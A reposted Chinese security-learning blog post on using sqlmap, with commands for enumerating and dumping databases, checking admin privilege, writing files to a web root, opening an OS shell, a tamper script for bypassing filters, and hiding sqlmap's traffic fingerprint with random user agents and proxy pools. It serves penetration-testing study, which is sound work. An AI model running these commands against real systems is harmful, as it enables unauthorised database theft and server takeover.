Web攻防06_sqlmap的使用

这篇具有很好参考价值的文章主要介绍了Web攻防06_sqlmap的使用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。


Web攻防06_sqlmap的使用,安全学习-Web攻防,mysql,安全,学习,sql

参考链接:

https://blog.csdn.net/Goodric/article/details/115875009

https://www.cnblogs.com/bmjoker/p/9326258.html

SQLMAP简介

sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。

注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。

支持五种不同的注入模式

  • 基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。

  • 基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。

  • 基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。

  • 联合查询注入。可以使用 union 的情况下的注入。

  • 堆查询注入。可以执行多条语句时的注入。

数据猜解-库表列数据

数据猜解是用字典去猜的,使用的是data/txt中默认的字典进行猜解的,也可以自行添加字典。

测试:http://vulnweb.com/

-u “” 判断是否存在注入点

–current-db 获取当前数据库名

–tables -D “” 获取表

–columns -T “” -D “” 获取列

–dump -C “” -T “” -D “” 获取数据

-D 指定库名

-T 指定表名

-C 指定列名

python sqlmap.py --current-db  // 获取当前数据库名

python sqlmap.py -u "地址" --tables -D "数据库名"  //获取表名,ACCESS数据库的话没有数据库,直接是表,MySQL的话有多个数据库,若不写库名,则会获取所有数据库的表信息


python sqlmap.py -u "地址" --columns -T "表名" -D "数据库名" //获取该表名下的列名

python sqlmap.py -u "地址" --dump -C "列名" -T "表名" -D "数据库名"   //获取数据, -C列名 -T表名

注入完成会将结果保存在C盘文件中。

–dbs #列出所有数据库

权限操作

测试:MYSQL高权限注入

引出权限:

判断站点是否为高权限。

--is-dba	#是否是管理员

--privileges	#查看权限

--current-user	#查看当前用户

更推荐--is-dba,因为--privileges查看的不一定准确

--is-dba也不一定准确,综合分析。

引出文件:

--file-read 	#文件读取

--file-write	#文件写入

 --file-dest 	#要写入的文件绝对路径
 
 # 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt

引出命令(执行命令):

--os-cmd=		# 执行系统命令

--os-shell		#系统交互shell

--sql-shell		#执行指定sql命令 

文件读写和执行命令都是建立在管理员权限的情况下,这些情况都是可以直接拿到网站权限的,就不需要进行数据猜解等测试方法了。

提交方法-POST&HEAD&JSON

测试:Post Cookie Json

Post注入

–data “post提交的数据” # 设置为post检测注入

python sqlmap.py -u "地址" --data "username=test&pass=test"

cookie注入

–cookie “”

注入请求头中(数据包注入,推荐):

把整个数据包保存文件在sqlmap目录下txt文件,在文件中使用*标记注入点,不标记则会全试,很慢。

-r 1.txt

python sqlmap.py -u "地址" -r 1.txt

有个网站,只能用手机访问,该网站有个注入点

如果不是通过抓包得到的请求的注入点数据包去注入,发送请求的话,

sqlmap就采用自己的请求头去访问进行注入测试,就有可能会访问不到,被拒绝。即无法测试

绕过模块-Tamper脚本-使用&开发

测试:base64注入 有过滤的注入

Tamper使用

--tamper=脚本模块名称
如:
--tamper=base64encode.py
--tamper=test.py

脚本文件存放于sqlmap目录下的tamper目录中。

Tamper编写

在如下脚本模板中的if payload:中编写替换规则,使用payload.replace('替换前','替换内容')进行替换即可。

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

    pass

def tamper(payload, **kwargs):

    if payload:      
   	 	payload = payload.replace('SELECT','sElEct') # 编写替换规则
    	payload = payload.replace('OR','Or')
    	payload = payload.replace('AND','And')
    	payload = payload.replace('SLEEP','SleeP')
    	payload = payload.replace('ELT','Elt')

    return payload

重点在于研究出绕过的方法,当知道绕过的方法,脚本编写很简单

分析拓展-代理&调试&指纹&风险&等级

后期分析调试:

-v=(0-6)  #详细的等级(0-6)

显示详细的注入内容,等级越高,显示的内容越多越详细

通过调试信息分析为什么不能注入,是不能注入,绕过失败,还是自己写的tamper模块没有生效

打乱默认指纹:

--user-agent ""  #自定义user-agent

sqlmap的固有流量特征:User-Agent:sqlmap/1.7.5.4#

--random-agent  #随机user-agent

--time-sec=(2,5) #延迟响应,默认为5

网站请求过快会屏蔽,使用延迟可解决

使用更多的测试:测试Header注入

--level=(1-5) #要执行的测试水平等级,默认为1 

--risk=(0-3)  #测试执行的风险等级,默认为1 

相当于测试的深度,等级越高,测试的情况和方法更多

使用代理

--proxy "http://xx:xx" #代理地址,代理注入

和burpsuite联动,便于分析注入的情况,为什么不能注入,注入数据包的查看分析

代理池:直接将买的代理池地址放里面就好文章来源地址https://www.toymoban.com/news/detail-737788.html

到了这里,关于Web攻防06_sqlmap的使用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全-sql注入(5)】sqlmap以及几款自动化sql注入工具的详细使用过程(提供工具)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 (也可以拿自己的环镜来玩,我是用pikachu靶场来演示的) 【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Ai

    2024年02月08日
    浏览(53)
  • web安全学习笔记【06】——http\https抓包

    思维导图放最后 #知识点: 1、Web常规-系统中间件数据库源码等 2、Web其他-前后端软件Docker分配站等 3、Web拓展-CDNWAFOSS反向负载均衡等 ----------------------------------- 1、APP架构-封装原生态H5flutter等 2、小程序架构-WebH5JSVUE框架等 ----------------------------------- 1、渗透命令-常规命令文

    2024年01月24日
    浏览(47)
  • WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF

    访问使用阿里云搭建的网站(存在自带的阿里云盾)。 可以看到此时网站可以正常访问,可以进行正常注入。 使用工具进行注入。 可以看到在使用工具注入没多久后便返回了不存在注入点的信息。 因为经常会用到SQLMAP这款工具对注入点进行检测,在遇到WAF时,如果还想继续

    2024年02月12日
    浏览(45)
  • web--sqlmap,mysql,sqlserver,postgressql

    1.mysql-root高权限读写注入 例如mysql文件的读取,当我们输入这行代码的时候就可以读取服务器中的文件 而输入这一行,就可以写入文件,到服务器中 来到这个自己搭建的案例 输入这个可以读取 然后还可以写入 然后我们一般读取的是配置型文件(就如这样) 一般去这找配置

    2024年02月19日
    浏览(38)
  • Web安全之Linux安装nmap+sqlmap

    工欲善其事必先利其器,我一直信奉的是好的工具才能带来好的效率。nmap作为端口扫描工具,sqlmap作为sql漏洞注入工具是web渗透不可或缺的两大类工具。 事实上,对于专业从事web安全渗透的人来说,kail才是王道。自带集成多种工具。 1、安装包: (1)可以官网下载,地址:

    2024年02月06日
    浏览(47)
  •  sql注入之sqlmap使用

    (1)get注入 python sqlmap.py -u \\\" 指定注入点的URL \\\" #其中“ -u ”参数用于 指定注入点的URL 。 python sqlmap.py -u \\\" 指定注入点的URL \\\" --dbs #,其中参数“ --dbs ”用于列举数据库。 python sqlmap.py -u \\\" 指定注入点的URL \\\" -D iwebsec --tables #其中参数“ -D ”用于指定数据库名称,“ --tables ”参数

    2024年02月15日
    浏览(48)
  • 安全基础~web攻防特性1

    使用 thinkphp 开发的框架,其首页访问指向 public 目录,指向其中的index.php文件 指向的index.php打开网页后是如下情况,代码如下 定义应用目录,是将文件首页展示在上图的 application 目录下,其下有index.php文件 application 目录index.php文件 thinkphp框架首页访问的目录 想要得到的目

    2024年01月22日
    浏览(50)
  • 安全基础~web攻防特性2

    Burpsuite Render在无法预览显示时,可以适当的清理缓存 win10下输入文字变成繁体解决 进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。 下载文件(最新版本包含新的漏洞靶场): https://github.com/WebGoat/WebGoat/releases/ https://github.com/WebGoat/WebGoat/releases/ 执行命令,开

    2024年01月25日
    浏览(41)
  • Web渗透-Sqlmap工具使用

    SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。 1、判断是否存在注入 我们将疑似存在注入漏洞的

    2024年02月05日
    浏览(41)
  • SQL注入(DVWA靶场搭建及使用、sqlMap注入、sqlmap问题及解决办法)

    1、客户端向服务端请求的流程 2、SQL注入常见分类  3、SQL注入常见过程  4、SQL注入的作用  5、常用SQL测试语句  注释字符: 一、下载DVWA 下载地址:DVWA/README.zh.md at master · digininja/DVWA · GitHub 这里我是从GitHub上下载的,小伙伴们自行选择 二、安装DVWA 在安装前,需要做一个

    2024年01月23日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包